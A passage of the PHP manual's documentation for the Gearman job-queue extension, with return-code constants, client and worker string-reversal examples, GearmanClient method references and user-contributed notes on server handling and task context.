GEARMAN_INVALID_FUNCTION_NAME = 31
GEARMAN_INVALID_WORKER_FUNCTION = 32
GEARMAN_NO_REGISTERED_FUNCTIONS = 34
GEARMAN_NO_JOBS = 35
GEARMAN_ECHO_DATA_CORRUPTION = 36
GEARMAN_NEED_WORKLOAD_FN = 37
GEARMAN_PAUSE = 38
GEARMAN_UNKNOWN_STATE = 39
GEARMAN_PTHREAD = 40
GEARMAN_PIPE_EOF = 41
GEARMAN_QUEUE_ERROR = 42
GEARMAN_FLUSH_DATA = 43
GEARMAN_SEND_BUFFER_TOO_SMALL = 44
GEARMAN_IGNORE_PACKET = 45
GEARMAN_UNKNOWN_OPTION = 46
GEARMAN_MAX_RETURN = 52
ion dot dulgheru at gmail dot com 19-Aug-2012 01:46
an update (gearman 0.35):

GEARMAN_NO_REGISTERED_FUNCTION = 33
GEARMAN_NO_REGISTERED_FUNCTIONS =    34
GEARMAN_NO_JOBS = 35
GEARMAN_ECHO_DATA_CORRUPTION = 36
GEARMAN_NEED_WORKLOAD_FN = 37
GEARMAN_PAUSE = 38
GEARMAN_UNKNOWN_STATE = 39
GEARMAN_PTHREAD = 40
GEARMAN_PIPE_EOF     = 41
GEARMAN_QUEUE_ERROR    = 42
GEARMAN_FLUSH_DATA = 43
GEARMAN_SEND_BUFFER_TOO_SMALL = 44
GEARMAN_IGNORE_PACKET = 45
GEARMAN_UNKNOWN_OPTION = 46
GEARMAN_TIMEOUT    = 47
GEARMAN_ARGUMENT_TOO_LARGE = 48
GEARMAN_MAX_RETURN =    49
Shane Harter 15-Jun-2010 11:30
I looked everywhere for for a dump of the values of each of the gearman constants. I ended up in the gearman source.

You'll find this useful if you ever just echo the return code.

GEARMAN_SUCCESS = 0
GEARMAN_IO_WAIT = 1
GEARMAN_SHUTDOWN = 2
GEARMAN_SHUTDOWN_GRACEFUL = 3
GEARMAN_ERRNO = 4
GEARMAN_EVENT = 5
GEARMAN_TOO_MANY_ARGS = 6
GEARMAN_NO_ACTIVE_FDS = 7
GEARMAN_INVALID_MAGIC = 8
GEARMAN_INVALID_COMMAND = 9
GEARMAN_INVALID_PACKET = 10
GEARMAN_UNEXPECTED_PACKET = 11
GEARMAN_GETADDRINFO = 12
GEARMAN_NO_SERVERS = 13
GEARMAN_LOST_CONNECTION = 14
GEARMAN_MEMORY_ALLOCATION_FAILURE = 15
GEARMAN_JOB_EXISTS = 16
GEARMAN_JOB_QUEUE_FULL = 17
GEARMAN_SERVER_ERROR = 18
GEARMAN_WORK_ERROR = 19
GEARMAN_WORK_DATA = 20
GEARMAN_WORK_WARNING = 21
GEARMAN_WORK_STATUS = 22
GEARMAN_WORK_EXCEPTION = 23
GEARMAN_WORK_FAIL = 24
GEARMAN_NOT_CONNECTED = 25
GEARMAN_COULD_NOT_CONNECT = 26
GEARMAN_SEND_IN_PROGRESS = 27
GEARMAN_RECV_IN_PROGRESS = 28
GEARMAN_NOT_FLUSHING = 29
GEARMAN_DATA_TOO_LARGE = 30
GEARMAN_INVALID_FUNCTION_NAME = 31
GEARMAN_INVALID_WORKER_FUNCTION = 32
GEARMAN_NO_REGISTERED_FUNCTIONS = 33
GEARMAN_NO_JOBS = 34
GEARMAN_ECHO_DATA_CORRUPTION = 35
GEARMAN_NEED_WORKLOAD_FN = 36
GEARMAN_PAUSE = 37
GEARMAN_UNKNOWN_STATE = 38
GEARMAN_PTHREAD = 39
GEARMAN_PIPE_EOF = 40
GEARMAN_QUEUE_ERROR = 41
GEARMAN_FLUSH_DATA = 42
GEARMAN_SEND_BUFFER_TOO_SMALL = 43
GEARMAN_IGNORE_PACKET = 44
GEARMAN_UNKNOWN_OPTION = 45
GEARMAN_MAX_RETURN = 46


示例

Table of Contents

  • Basic usage
  • Basic Gearman client and worker, background
  • Basic Gearman client and worker, submitting tasks

User Contributed Notes

There are no user contributed notes for this page.


Basic usage

Example #1 Basic Gearman client and worker

This example shows a very simple client and worker. The client sends a string to the job server, and the worker reverses the string and sends it back. The job is performed synchronously.

<?php

# Create our client object.
$gmclient= new GearmanClient();

# Add default server (localhost).
$gmclient->addServer();

echo "Sending job\n";

# Send reverse job
do
{
$result = $gmclient->doNormal("reverse", "Hello!");

# Check for various return packets and errors.
switch($gmclient->returnCode())
{
case GEARMAN_WORK_DATA:
echo "Data: $result\n";
break;
case GEARMAN_WORK_STATUS:
list($numerator, $denominator)= $gmclient->doStatus();
echo "Status: $numerator/$denominator complete\n";
break;
case GEARMAN_WORK_FAIL:
echo "Failed\n";
exit;
case GEARMAN_SUCCESS:
echo "Success: $result\n";
break;
default:
echo "RET: " . $gmclient->returnCode() . "\n";
exit;
}
}
while($gmclient->returnCode() != GEARMAN_SUCCESS);

?>
<?php

echo "Starting\n";

# Create our worker object.
$gmworker= new GearmanWorker();

# Add default server (localhost).
$gmworker->addServer();

# Register function "reverse" with the server. Change the worker function to
# "reverse_fn_fast" for a faster worker with no output.
$gmworker->addFunction("reverse", "reverse_fn");

print "Waiting for job...\n";
while($gmworker->work())
{
if ($gmworker->returnCode() != GEARMAN_SUCCESS)
{
echo "return_code: " . $gmworker->returnCode() . "\n";
break;
}
}

function reverse_fn($job)
{
echo "Received job: " . $job->handle() . "\n";

$workload = $job->workload();
$workload_size = $job->workloadSize();

echo "Workload: $workload ($workload_size)\n";

# This status loop is not needed, just showing how it works
for ($x= 0; $x < $workload_size; $x++)
{
echo "Sending status: " . ($x + 1) . "/$workload_size complete\n";
$job->sendStatus($x, $workload_size);
sleep(1);
}

$result= strrev($workload);
echo "Result: $result\n";

# Return what we want to send back to the client.
return $result;
}

# A much simpler and less verbose version of the above function would be:
function reverse_fn_fast($job)
{
return strrev($job->workload());
}

?>

以上示例的输出类似于：

% php reverse_worker.php
Starting
Waiting for job...
Received job: H:foo.local:36
Workload: Hello! (6)
Sending status: 1/6 complete
Sending status: 2/6 complete
Sending status: 3/6 complete
Sending status: 4/6 complete
Sending status: 5/6 complete
Sending status: 6/6 complete
Result: !olleH

% php reverse_client.php
Starting
Sending job
Status: 1/6 complete
Status: 2/6 complete
Status: 3/6 complete
Status: 4/6 complete
Status: 5/6 complete
Status: 6/6 complete
Success: !olleH

User Contributed Notes

dmitriy dot baibuhtin at ya dot ru 05-Nov-2016 10:35
An example of a client is invalid. Progress will not be displayed on the client side, as doNormal method is synchronous.
Code will be executed only after the completion doNormal.
<?php
 case GEARMAN_WORK_STATUS:
      list($numerator, $denominator)= $gmclient->doStatus();
      echo "Status: $numerator/$denominator complete\n";
      break;
?>


Basic Gearman client and worker, background

Example #1 Basic Gearman client and worker, background

This example shows a very simple client and worker. The client sends a string to the job server as a background job, and the worker reverses the string. Note that since the work is performed asynchronously, the client does not wait for the job to complete and exits (and hence the client never receives the results).

<?php

# create our client object
$gmclient= new GearmanClient();

# add the default server (localhost)
$gmclient->addServer();

# run reverse client in the background
$job_handle = $gmclient->doBackground("reverse", "this is a test");

if ($gmclient->returnCode() != GEARMAN_SUCCESS)
{
echo "bad return code\n";
exit;
}

echo "done!\n";

?>
<?php

echo "Starting\n";

# Create our worker object.
$gmworker= new GearmanWorker();

# Add default server (localhost).
$gmworker->addServer();

# Register function "reverse" with the server. Change the worker function to
# "reverse_fn_fast" for a faster worker with no output.
$gmworker->addFunction("reverse", "reverse_fn");

print "Waiting for job...\n";
while($gmworker->work())
{
if ($gmworker->returnCode() != GEARMAN_SUCCESS)
{
echo "return_code: " . $gmworker->returnCode() . "\n";
break;
}
}

function reverse_fn($job)
{
echo "Received job: " . $job->handle() . "\n";

$workload = $job->workload();
$workload_size = $job->workloadSize();

echo "Workload: $workload ($workload_size)\n";

# This status loop is not needed, just showing how it works
for ($x= 0; $x < $workload_size; $x++)
{
echo "Sending status: " . ($x + 1) . "/$workload_size complete\n";
$job->sendStatus($x, $workload_size);
sleep(1);
}

$result= strrev($workload);
echo "Result: $result\n";

# Return what we want to send back to the client.
return $result;
}

# A much simpler and less verbose version of the above function would be:
function reverse_fn_fast($job)
{
return strrev($job->workload());
}

?>

以上示例的输出类似于：

% php reverse_worker.php
Starting
Waiting for job...
Received job: H:foo.local:41
Workload: this is a test (14)
1/14 complete
2/14 complete
3/14 complete
4/14 complete
5/14 complete
6/14 complete
7/14 complete
8/14 complete
9/14 complete
10/14 complete
11/14 complete
12/14 complete
13/14 complete
14/14 complete
Result: tset a si siht

% php reverse_client_bg.php
done!

User Contributed Notes

There are no user contributed notes for this page.


Basic Gearman client and worker, submitting tasks

Example #1 Basic Gearman client and worker, submitting tasks

In this example, the basic reverse client extended to run two tasks in parallel. The reverse worker is unchanged except to add sending of data back during processing.

<?php

# create the gearman client
$gmc= new GearmanClient();

# add the default server (localhost)
$gmc->addServer();

# register some callbacks
$gmc->setCreatedCallback("reverse_created");
$gmc->setDataCallback("reverse_data");
$gmc->setStatusCallback("reverse_status");
$gmc->setCompleteCallback("reverse_complete");
$gmc->setFailCallback("reverse_fail");

# set some arbitrary application data
$data['foo'] = 'bar';

# add two tasks
$task= $gmc->addTask("reverse", "foo", $data);
$task2= $gmc->addTaskLow("reverse", "bar", NULL);

# run the tasks in parallel (assuming multiple workers)
if (! $gmc->runTasks())
{
echo "ERROR " . $gmc->error() . "\n";
exit;
}

echo "DONE\n";

function reverse_created($task)
{
echo "CREATED: " . $task->jobHandle() . "\n";
}

function reverse_status($task)
{
echo "STATUS: " . $task->jobHandle() . " - " . $task->taskNumerator() .
"/" . $task->taskDenominator() . "\n";
}

function reverse_complete($task)
{
echo "COMPLETE: " . $task->jobHandle() . ", " . $task->data() . "\n";
}

function reverse_fail($task)
{
echo "FAILED: " . $task->jobHandle() . "\n";
}

function reverse_data($task)
{
echo "DATA: " . $task->data() . "\n";
}

?>
<?php

echo "Starting\n";

# Create our worker object.
$gmworker= new GearmanWorker();

# Add default server (localhost).
$gmworker->addServer();

# Register function "reverse" with the server. Change the worker function to
# "reverse_fn_fast" for a faster worker with no output.
$gmworker->addFunction("reverse", "reverse_fn");

print "Waiting for job...\n";
while($gmworker->work())
{
if ($gmworker->returnCode() != GEARMAN_SUCCESS)
{
echo "return_code: " . $gmworker->returnCode() . "\n";
break;
}
}

function reverse_fn($job)
{
echo "Received job: " . $job->handle() . "\n";

$workload = $job->workload();
$workload_size = $job->workloadSize();

echo "Workload: $workload ($workload_size)\n";

# This status loop is not needed, just showing how it works
for ($x= 0; $x < $workload_size; $x++)
{
echo "Sending status: " . ($x + 1) . "/$workload_size complete\n";
$job->sendStatus($x+1, $workload_size);
$job->sendData(substr($workload, $x, 1));
sleep(1);
}

$result= strrev($workload);
echo "Result: $result\n";

# Return what we want to send back to the client.
return $result;
}

# A much simpler and less verbose version of the above function would be:
function reverse_fn_fast($job)
{
return strrev($job->workload());
}

?>

以上示例的输出类似于：

% php reverse_worker.php
Starting
Waiting for job...
Received job: H:foo.local:45
Workload: foo (3)
1/3 complete
2/3 complete
3/3 complete
Result: oof
Received job: H:foo.local:44
Workload: bar (3)
1/3 complete
2/3 complete
3/3 complete
Result: rab

% php reverse_client_task.php
CREATED: H:foo.local:44
CREATED: H:foo.local:45
STATUS: H:foo.local:45 - 1/3
DATA: f
STATUS: H:foo.local:45 - 2/3
DATA: o
STATUS: H:foo.local:45 - 3/3
DATA: o
COMPLETE: H:foo.local:45, oof
STATUS: H:foo.local:44 - 1/3
DATA: b
STATUS: H:foo.local:44 - 2/3
DATA: a
STATUS: H:foo.local:44 - 3/3
DATA: r
COMPLETE: H:foo.local:44, rab
DONE

User Contributed Notes

septerrianin at mail dot ru 11-Sep-2018 07:03
NOTE.
The register of the callback functions needs BEFORE add a task.

This example NOT working correctly:
<?php
# add tasks
$task= $gmc->addTask("reverse", "foo", $data);

# register some callbacks
$gmc->setCreatedCallback("reverse_created");
$gmc->setDataCallback("reverse_data");
$gmc->setStatusCallback("reverse_status");
$gmc->setCompleteCallback("reverse_complete");
$gmc->setFailCallback("reverse_fail");

# run the task
$gmc->runTasks();
?>


The GearmanClient class

(PECL gearman >= 0.5.0)

简介

Represents a class for connecting to a Gearman job server and making requests to perform some function on provided data. The function performed must be one registered by a Gearman worker and the data passed is opaque to the job server.

类摘要

class GearmanClient {
/* 方法 */
public __construct()
public addOptions(int $option): bool
public addServer(string $host = null, int $port = 0, bool $setupExceptionHandler = true): bool
public addServers(string $servers = null, bool $setupExceptionHandler = true): bool
public addTask(
string $function_name,
string|int|float $workload,
mixed $context = null,
?string $unique_key = null
): GearmanTask|false
public addTaskBackground(
string $function_name,
string|int|float $workload,
mixed $context = null,
?string $unique_key = null
): GearmanTask|false
public addTaskHigh(
string $function_name,
string|int|float $workload,
mixed $context = null,
?string $unique_key = null
): GearmanTask|false
public addTaskHighBackground(
string $function_name,
string|int|float $workload,
mixed $context = null,
?string $unique_key = null
): GearmanTask|false
public addTaskLow(
string $function_name,
string|int|float $workload,
mixed $context = null,
?string $unique_key = null
): GearmanTask|false
public addTaskLowBackground(
string $function_name,
string|int|float $workload,
mixed $context = null,
?string $unique_key = null
): GearmanTask|false
public addTaskStatus(string $job_handle, mixed $context = null): GearmanTask|false
public clearCallbacks(): bool
public context(): string
public doBackground(string $function, string $workload, ?string $unique = null): string
public doHigh(string $function, string $workload, ?string $unique = null): string
public doHighBackground(string $function, string $workload, ?string $unique = null): string
public doJobHandle(): string
public doLow(string $function, string $workload, ?string $unique = null): string
public doLowBackground(string $function, string $workload, ?string $unique = null): string
public doNormal(string $function, string $workload, ?string $unique = null): string
public doStatus(): array
public error(): string|false
public getErrno(): int
public jobStatus(string $job_handle): array
public ping(string $workload): bool
public removeOptions(int $option): bool
public returnCode(): int
public runTasks(): bool
public setCompleteCallback(callable $function): bool
public setContext(string $data): bool
public setCreatedCallback(callable $function): bool
public setDataCallback(callable $function): bool
public setExceptionCallback(callable $function): bool
public setFailCallback(callable $function): bool
public setOptions(int $option): bool
public setStatusCallback(callable $function): bool
public setTimeout(int $timeout): bool
public setWarningCallback(callable $function): bool
public setWorkloadCallback(callable $function): bool
public timeout(): int
public wait(): bool
}

Table of Contents

  • GearmanClient::addOptions — Add client options
  • GearmanClient::addServer — Add a job server to the client
  • GearmanClient::addServers — Add a list of job servers to the client
  • GearmanClient::addTask — Add a task to be run in parallel
  • GearmanClient::addTaskBackground — Add a background task to be run in parallel
  • GearmanClient::addTaskHigh — Add a high priority task to run in parallel
  • GearmanClient::addTaskHighBackground — Add a high priority background task to be run in parallel
  • GearmanClient::addTaskLow — Add a low priority task to run in parallel
  • GearmanClient::addTaskLowBackground — Add a low priority background task to be run in parallel
  • GearmanClient::addTaskStatus — Add a task to get status
  • GearmanClient::clearCallbacks — Clear all task callback functions
  • GearmanClient::clone — Create a copy of a GearmanClient object
  • GearmanClient::__construct — Create a GearmanClient instance
  • GearmanClient::context — Get the application context
  • GearmanClient::data — Get the application data (deprecated)
  • GearmanClient::do — Run a single task and return a result [deprecated]
  • GearmanClient::doBackground — Run a task in the background
  • GearmanClient::doHigh — Run a single high priority task
  • GearmanClient::doHighBackground — Run a high priority task in the background
  • GearmanClient::doJobHandle — Get the job handle for the running task
  • GearmanClient::doLow — Run a single low priority task
  • GearmanClient::doLowBackground — Run a low priority task in the background
  • GearmanClient::doNormal — Run a single task and return a result
  • GearmanClient::doStatus — Get the status for the running task
  • GearmanClient::echo — Send data to all job servers to see if they echo it back [deprecated]
  • GearmanClient::error — Returns an error string for the last error encountered
  • GearmanClient::getErrno — Get an errno value
  • GearmanClient::jobStatus — Get the status of a background job
  • GearmanClient::ping — Send data to all job servers to see if they echo it back
  • GearmanClient::removeOptions — Remove client options
  • GearmanClient::returnCode — Get the last Gearman return code
  • GearmanClient::runTasks — Run a list of tasks in parallel
  • GearmanClient::setClientCallback — Callback function when there is a data packet for a task (deprecated)
  • GearmanClient::setCompleteCallback — Set a function to be called on task completion
  • GearmanClient::setContext — Set application context
  • GearmanClient::setCreatedCallback — Set a callback for when a task is queued
  • GearmanClient::setData — Set application data (deprecated)
  • GearmanClient::setDataCallback — Callback function when there is a data packet for a task
  • GearmanClient::setExceptionCallback — Set a callback for worker exceptions
  • GearmanClient::setFailCallback — Set callback for job failure
  • GearmanClient::setOptions — Set client options
  • GearmanClient::setStatusCallback — Set a callback for collecting task status
  • GearmanClient::setTimeout — Set socket I/O activity timeout
  • GearmanClient::setWarningCallback — Set a callback for worker warnings
  • GearmanClient::setWorkloadCallback — Set a callback for accepting incremental data updates
  • GearmanClient::timeout — Get current socket I/O activity timeout value
  • GearmanClient::wait — Wait for I/O activity on all connections in a client

User Contributed Notes

There are no user contributed notes for this page.


Add client options

  • ? GearmanClient
  • GearmanClient::addServer ?
  • PHP Manual
  • GearmanClient
  • Add client options

GearmanClient::addOptions

(PECL gearman >= 0.6.0)

GearmanClient::addOptions — Add client options

说明

public GearmanClient::addOptions(int $option): bool

Adds one or more options to those already set.

参数

option

The options to add. One of the following constants, or a combination of them using the bitwise OR operator (|): GEARMAN_CLIENT_GENERATE_UNIQUE, GEARMAN_CLIENT_NON_BLOCKING, GEARMAN_CLIENT_UNBUFFERED_RESULT or GEARMAN_CLIENT_FREE_TASKS.

返回值

Always returns true.

User Contributed Notes

goran dot v dot miskovic at gmail dot com 08-Sep-2012 09:12
To add multiple options at once use pipe separated list.
<?php
$client = new GearmanClient();
$client->addOptions(GEARMAN_CLIENT_NON_BLOCKING | GEARMAN_CLIENT_FREE_TASKS | GEARMAN_CLIENT_UNBUFFERED_RESULT);
?>


Add a job server to the client

  • ? GearmanClient::addOptions
  • GearmanClient::addServers ?
  • PHP Manual
  • GearmanClient
  • Add a job server to the client

GearmanClient::addServer

(PECL gearman >= 0.5.0)

GearmanClient::addServer — Add a job server to the client

说明

public GearmanClient::addServer(string $host = null, int $port = 0, bool $setupExceptionHandler = true): bool

Adds a job server to a list of servers that can be used to run a task. No socket I/O happens here; the server is simply added to the list.

参数

host

任务服务器主机名。

port

任务服务器端口号。

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 Adding two job servers

<?php

# Create our client object.
$gmclient= new GearmanClient();

# Add two job servers, the first on the default 4730 port
$gmclient->addServer("10.0.0.1");
$gmclient->addServer("10.0.0.2", 7003);

?>

参见

  • GearmanClient::addServers() - Add a list of job servers to the client

User Contributed Notes

jqv8gg681 at relay dot firefox dot com 21-Apr-2022 03:54
Combining recommendations from brainreflex and iloveapplepie, as well as hours of testing. This avoids some bugs in cross versions of gearman across platforms.
It steps though the server list and fails if all are inaccessible.
I also use the same override as "class SmartGearmanClient extends GearmanClient" for the clients.

<?php // WORKER
class SmartGearmanWorker extends GearmanWorker
{
    public $server = false;
    public function connect($servers = array( array('host' => '127.0.0.1', 'port' => '4730') ))
    {
        $connected = false;
        foreach ($servers as $server) {
            $c = new GearmanClient();
            $c->addServer($server['host'], $server['port'], false);

            if (@$c->ping('ping')) {
                $this->addServer($server['host'], $server['port']);
                $connected=true;
                $this->server = array(
                   'host'=>$server['host'],
                   'port'=>$server['port']
                );
                break; // Remove this to use last working server in list
            }
        }
        return $connected;
    }
}

echo "Starting\n";

# Add some servers
$servers = array(
    array('host' => '127.0.0.1', 'port' => '4730'),
    array('host' => '127.0.0.1', 'port' => '4731'),
    array('host' => '127.0.0.1', 'port' => '4732'),
    array('host' => '127.0.0.2', 'port' => '4730'),
    array('host' => '192.168.204.10', 'port' => '4730')
);

# Create our worker object.
$gmw= new SmartGearmanWorker();

if ($gmw->connect($servers)) {
    # Register function "reverseString" with the server.
    $gmw->addFunction("reverseString", "reverseString_fn");

    print "Connected to {$gmw->server['host']}:{$gmw->server['port']}...\n";
    print "Waiting for jobs...\n";

    while ($gmw->work()) {
        if ($gmw->returnCode() != GEARMAN_SUCCESS) {
            echo "return_code: " . $gmw->returnCode() . "\n";
            break;
        }
    }

    echo "DONE\n";
} else {
    echo "Unable to connect to any gearman-job-servers.".PHP_EOL;
};

function reverseString_fn($job)
{
    echo "Received job: " . $job->handle() . "\n";

    $workload = $job->workload();
    $workload_size = $job->workloadSize();

    echo "Workload: $workload ($workload_size)\n";

    # Lets send some progress information
    for ($x= 0; $x < $workload_size; $x++) {
        echo "Sending status: " . ($x + 1) . "/$workload_size complete\n";
        $job->sendStatus($x+1, $workload_size);
        $job->sendData(substr($workload, $x, 1));
        sleep(1);
    }

    $result= strrev($workload);
    echo "Result: $result\n";

    # Return what we want to send back to the client.
    return $result;
}
iloveapplepie 12-Feb-2022 06:52
Sometimes you want the job server to start even if not all servers are available.  The reason is that if at a later point the server comes back gearman will use it, even if if failed during the add server operation.

class SmartGearmanWorker extends GearmanWorker
{
    function addServer($host = '127.0.0.1', $port = 4730):bool
    {
        try {
            parent::addServer($host, $port);
            echo "\nSERVER $host WORKED";
        } catch (GearmanException $e) {
            echo "\nSERVER $host FAILED";
        }
        return true;
    }
}

class SmartGearmanClient extends GearmanClient
{
    function addServer($host = '127.0.0.1', $port = 4730,  bool $setupExceptionHandler = false):bool
    {
        try {
            parent::addServer($host, $port, $setupExceptionHandler);
            echo "\nSERVER $host WORKED";
    } catch (GearmanException $e) {

            echo "\nSERVER $host FAILED"; //this does not get called even if the server is down
        }
        return true;
    }
}
michael at butlerpc dot net 21-May-2019 05:23
Prior to version 2.0.5, addServer DOES perform socket I/O indirectly because it calls set_server_option internally for an exception handler. This means if the server is unreachable you will get a GearmanException thrown at this point, and you may want to catch and handle it in your application.

<?php

$client->addServer('127.0.0.1', 4321); // does attempt a socket connection!

?>

Starting with version 2.0.5 of the extension, a third boolean argument (after $port) may be passed false in order to prevent this from happening.

<?php

$client->addServer('127.0.0.1', 4321, false); // no socket i/o happens here

?>
brainreflex at gmail dot com 04-Dec-2015 02:59
Amit, kosta250

I found a workaround to avoid the dead servers and continue with rest alive.

<?php

$servers = array(
  array('host' => '127.0.0.1', 'port' => '4730'),
  array('host' => '127.0.0.1', 'port' => '4731'),
  array('host' => '127.0.0.1', 'port' => '4732'),
  array('host' => '127.0.0.2', 'port' => '4730')
);

$client= new \GearmanClient();

foreach($servers as $server) {
  $c = new \GearmanClient();
  $c->addServer($server['host'], $server['port']);

  if (@$c->ping('ping')) {
    $client->addServer($server['host'], $server['port']);
  }
}

?>
kosta250 at gmail dot com 23-Nov-2015 12:14
Adding to Amit's comments,  I found that if the first server in the list of servers is down, then there seems to be no way to handle such a condition.
Peter 02-Mar-2015 11:18
Solution:
https://bugs.launchpad.net/gearmand/+bug/1118751
Amit 29-Oct-2013 06:19
The addServer and addServers are unforgiving when any of the addresses are down. I tried using exceptions, but it does not quite work. Can you provide a working example to handle a list of servers where one or more is not running.

Thanks
info at phpgangsta dot de 08-Apr-2013 11:22
Since a few versions the port parameter is not optional anymore. I have version 1.1.1 of pecl/gearman compiled with libgearman 1.1.5, and I'm getting the following error:

send_packet(GEARMAN_COULD_NOT_CONNECT) Failed to send server-options packet -> libgearman/connection.cc:430

This happens if you don't provide a port.

Just set the second parameter to 4730 and it is working again.


Add a list of job servers to the client

  • ? GearmanClient::addServer
  • GearmanClient::addTask ?
  • PHP Manual
  • GearmanClient
  • Add a list of job servers to the client

GearmanClient::addServers

(PECL gearman >= 0.5.0)

GearmanClient::addServers — Add a list of job servers to the client

说明

public GearmanClient::addServers(string $servers = null, bool $setupExceptionHandler = true): bool

Adds a list of job servers that can be used to run a task. No socket I/O happens here; the servers are simply added to the full list of servers.

参数

servers

A comma-separated list of servers, each server specified in the format 'host:port'.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 Add two job servers

<?php

# Create our client object.
$gmclient= new GearmanClient();

# Add multiple job servers, the first on the default 4730 port
$gmclient->addServers("10.0.0.1,10.0.0.2:7003");

?>

参见

  • GearmanClient::addServer() - Add a job server to the client

User Contributed Notes

littlexiang521 at gmail dot com 21-Feb-2014 08:00
actually client side will throw an exception when any of the servers is down or unreachable instead like

Fatal error: Uncaught exception 'GearmanException' with message 'Failed to set exception option' in /var/www/ipao/Api/Q2/Test/gm-test.php:11
Stack trace:
#0 /var/www/ipao/Api/Q2/Test/gm-test.php(11): GearmanClient->addServer('xxx.xxx.xxx.xxx')
#1 {main}
jachimcoudenys at gmail dot com 30-Jul-2013 08:14
If you supply more than one server, it will always take the last server, unless it is unavailable. This is the way gearman works (and it is generally not a bad idea).

If you want to spread the jobs over multiple servers, you might want to shuffle the list of servers.


Add a task to be run in parallel

  • ? GearmanClient::addServers
  • GearmanClient::addTaskBackground ?
  • PHP Manual
  • GearmanClient
  • Add a task to be run in parallel

GearmanClient::addTask

(PECL gearman >= 0.5.0)

GearmanClient::addTask — Add a task to be run in parallel

说明

public GearmanClient::addTask(
string $function_name,
string|int|float $workload,
mixed $context = null,
?string $unique_key = null
): GearmanTask|false

Adds a task to be run in parallel with other tasks. Call this method for all the tasks to be run in parallel, then call GearmanClient::runTasks() to perform the work. Note that enough workers need to be available for the tasks to all run in parallel.

参数

function_name

由程序自动执行的已注册函数。

workload

被处理的序列化数据。

context

与任务关联的应用程序上下文。

unique_key

用于标识特定任务的唯一性 ID。

返回值

A GearmanTask object or false if the task could not be added.

示例

Example #1 Basic submission of two tasks

<?php

# Create our gearman client
$gmclient= new GearmanClient();

# add the default job server
$gmclient->addServer();

# set a function to be called when the work is complete
$gmclient->setCompleteCallback("complete");

# add a task to perform the "reverse" function on the string "Hello World!"
$gmclient->addTask("reverse", "Hello World!", null, "1");

# add another task to perform the "reverse" function on the string "!dlroW olleH"
$gmclient->addTask("reverse", "!dlroW olleH", null, "2");

# run the tasks
$gmclient->runTasks();

function complete($task)
{
print "COMPLETE: " . $task->unique() . ", " . $task->data() . "\n";
}

?>

以上示例的输出类似于：

COMPLETE: 2, Hello World!
COMPLETE: 1, !dlroW olleH

Example #2 Basic submission of two tasks with passing application context

<?php

$client = new GearmanClient();
$client->addServer();

# set a function to be called when the work is complete
$client->setCompleteCallback("reverse_complete");

# Add some tasks for a placeholder of where to put the results
$results = array();
$client->addTask("reverse", "Hello World!", $results, "t1");
$client->addTask("reverse", "!dlroW olleH", $results, "t2");

$client->runTasks();

# The results should now be filled in from the callbacks
foreach ($results as $id => $result)
echo $id . ": " . $result['handle'] . ", " . $result['data'] . "\n";

function reverse_complete($task, $results)
{
$results[$task->unique()] = array("handle"=>$task->jobHandle(), "data"=>$task->data());
}

?>

以上示例的输出类似于：

t2: H.foo:21, Hello World!
t1: H:foo:22, !dlroW olleH

参见

  • GearmanClient::addTaskHigh() - Add a high priority task to run in parallel
  • GearmanClient::addTaskLow() - Add a low priority task to run in parallel
  • GearmanClient::addTaskBackground() - Add a background task to be run in parallel
  • GearmanClient::addTaskHighBackground() - Add a high priority background task to be run in parallel
  • GearmanClient::addTaskLowBackground() - Add a low priority background task to be run in parallel
  • GearmanClient::runTasks() - Run a list of tasks in parallel

User Contributed Notes

liv_romania at yahoo dot com 19-Jul-2015 12:08
On PHP 5.5 you can use the following code for passing context by reference and avoid "Call-time pass-by-reference has been removed":

<?php
$client = new GearmanClient();
$client->addServer();

# Set a function to be called when the work is complete
$client->setCompleteCallback("reverse_complete");

# Use StdClass instead of array
$results = new StdClass();
$results->value = array();

# Add some tasks for a placeholder of where to put the results
$client->addTask("reverse", "Hello World!", $results, "t1");
$client->addTask("reverse", "!dlroW olleH", $results, "t2");

$client->runTasks();

# The results should now be filled in from the callbacks
foreach ($results->value as $id => $result) {
    echo $id . ": " . $result['handle'] . ", " . $result['data'] . "\n";
}

function reverse_complete(GearmanTask $task, StdClass $results)
{
    $results->value[$task->unique()] = array(
        "handle" => $task->jobHandle(),
        "data" => $task->data()
    );
}
?>
stanislav dot reshetnev at gmail dot com 31-Oct-2014 04:17
Note that param $unique must be different for multiple tasks if You want to run they all separately. If param $unique is equal for multiple tasks You will get the same task:

<?php
  $unique=1;

  $gclient = GearmanClient();
  $gclient->addServer('srv');

  $this->setCreatedCallback(function(GearmanTask $task) {
    print $task->jobHandle() . "\n";
  });

  $gclient->addTask('function_name', 'workload', null, $unique);
  $gclient->addTask('function_name', 'workload', null, $unique);
  $gclient->addTask('function_name', 'workload', null, $unique);
  $gclient->runTasks();

  sleep(5);
?>

This sript will print only one handler:

H:srv:377382343
H:srv:377382343
H:srv:377382343
Jeremy Zerr 15-Nov-2013 06:14
As of PHP 5.3.0, you will get a warning saying that "call-time pass-by-reference" is deprecated when you use & in $client->addTask(..., ..., &$results, ...);. And as of PHP 5.4.0, call-time pass-by-reference was removed, so using it will raise a fatal error.

So that means that when you call addTask with a context parameter as in the example above like this:

<?php
# Add some tasks for a placeholder of where to put the results
$results = array();
$client->addTask("reverse", "Hello World!", &$results, "t1");
?>

You get this "call-time pass-by-reference" warning (or error).  This can be avoided and still result in functional code by changing the context variable to be an object so that it is passed by reference like this:

<?php
$results = new \stdClass();
$client->addTask("reverse", "Hello World!", $results, "t1");
?>

Then for completeness, change the complete handler to expect a reference:

<?php
function reverse_complete($task, &$results) { ... }
?>

Then inside the complete handler, you can use the $results object to save your results to be accessible outside the complete handler.


Add a background task to be run in parallel

  • ? GearmanClient::addTask
  • GearmanClient::addTaskHigh ?
  • PHP Manual
  • GearmanClient
  • Add a background task to be run in parallel

GearmanClient::addTaskBackground

(PECL gearman >= 0.5.0)

GearmanClient::addTaskBackground — Add a background task to be run in parallel

说明

public GearmanClient::addTaskBackground(
string $function_name,
string|int|float $workload,
mixed $context = null,
?string $unique_key = null
): GearmanTask|false

Adds a background task to be run in parallel with other tasks. Call this method for all the tasks to be run in parallel, then call GearmanClient::runTasks() to perform the work.

参数

function_name

由程序自动执行的已注册函数。

workload

被处理的序列化数据。

context

与任务关联的应用程序上下文。

unique_key

用于标识特定任务的唯一性 ID。

返回值

A GearmanTask object or false if the task could not be added.

示例

Example #1 Two tasks, one background and one not

